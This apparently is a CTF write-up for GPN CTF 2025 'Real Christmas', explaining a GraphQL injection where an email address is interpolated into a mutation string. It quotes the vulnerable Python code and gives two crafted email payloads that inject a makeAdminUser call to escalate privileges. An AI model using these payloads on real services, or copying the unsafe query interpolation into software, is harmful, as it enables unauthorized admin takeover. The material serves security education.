当前位置: 首页 > news >正文

GraphQL注入 -- GPN CTF 2025 Real Christmas

part 1

服务器会每段时间禁用已注册的账号,此处存在漏洞

def deactivate_user_graphql(email):graphql_endpoint = current_app.config["GRAPHQL_ENDPOINT"]query = f"""mutation {{deactivateUser (user: {{email: "{email}"}}){{   success             }}}}"""

服务器后端拥有一个提升权限的功能

# 设为管理员的Mutation
class MakeAdminUser(Mutation):class Meta:description = "Mutation to make a user an admin"  # 设为管理员的描述class Arguments:user = UserInput(required=True)  # 必须提供用户输入success = Boolean()  # 是否成功message = String()  # 返回信息def mutate(self, info, user):# 权限校验if (not info.context.headers.get("Key")== current_app.config["SERVICE_TOKEN_KEY"]):return MakeAdminUser(success=False, message="Unauthorized")# 查找用户db_user = Noneif user.get("id") is not None:db_user = User.query.filter_by(id=user.get("id")).first()elif user.get("email") is not None:db_user = User.query.filter_by(email=user.get("email")).first()if not db_user:return MakeAdminUser(success=False, message="User not found")db_user.is_admin = True  # 设为管理员db.session.commit()return MakeAdminUser(success=True, message="User made admin successfully")

根据 RFC 规范,电子邮件地址的本地部分(@ 前的部分)可以包含以下字符:

  • 大小写字母 (a-z, A-Z)
  • 数字 (0-9)
  • 特殊字符:!#$%&'*±/=?^_{|}~`
  • 使用引号括起来的字符串,可以包含空格和更多特殊字符

由此写出

"}){success}makeAdminUser(user: {id: 1}){#"@a.com

part 2

我们无法再传递id为参数,我们无法再利用邮箱前方,但是可以构造畸形的域名

a@["}) { success } makeAdminUser(user: {email: "(\")a@b.c"}) { #].c

相关文章:

  • 通过对 NIDS 自适应黑盒对抗性攻击披露漏洞
  • 攻防世界-MISC-4-2
  • 力扣网C语言编程题:搜索插入位置
  • Python 数据分析与可视化 Day 8 - Pandas 高级操作技巧
  • 表单数据收集实现分析
  • Python 中 `bytes` 与 `str` 的核心差异及注意事项
  • python中学物理实验模拟:斜面受力分析
  • IDEA + Spring Boot + javadoc 实例应用
  • Java底层原理:深入理解JVM性能调优与监控
  • 腾讯云产品都有哪些
  • 永磁无刷电机旋转原理
  • 大脑感官:视觉系统中将感观信息转换为神经信号
  • 苍穹外卖day3--公共字段填充+新增菜品
  • Python打卡:Day36
  • 《告别一换就崩:前端游戏物理引擎适配层设计哲学》
  • Redis-set集合
  • Altera PCI IP target设计分享
  • dockers virbox 安装
  • MySQL多表关系
  • 【已解决】Android Studio gradle遇到unresolved reference错误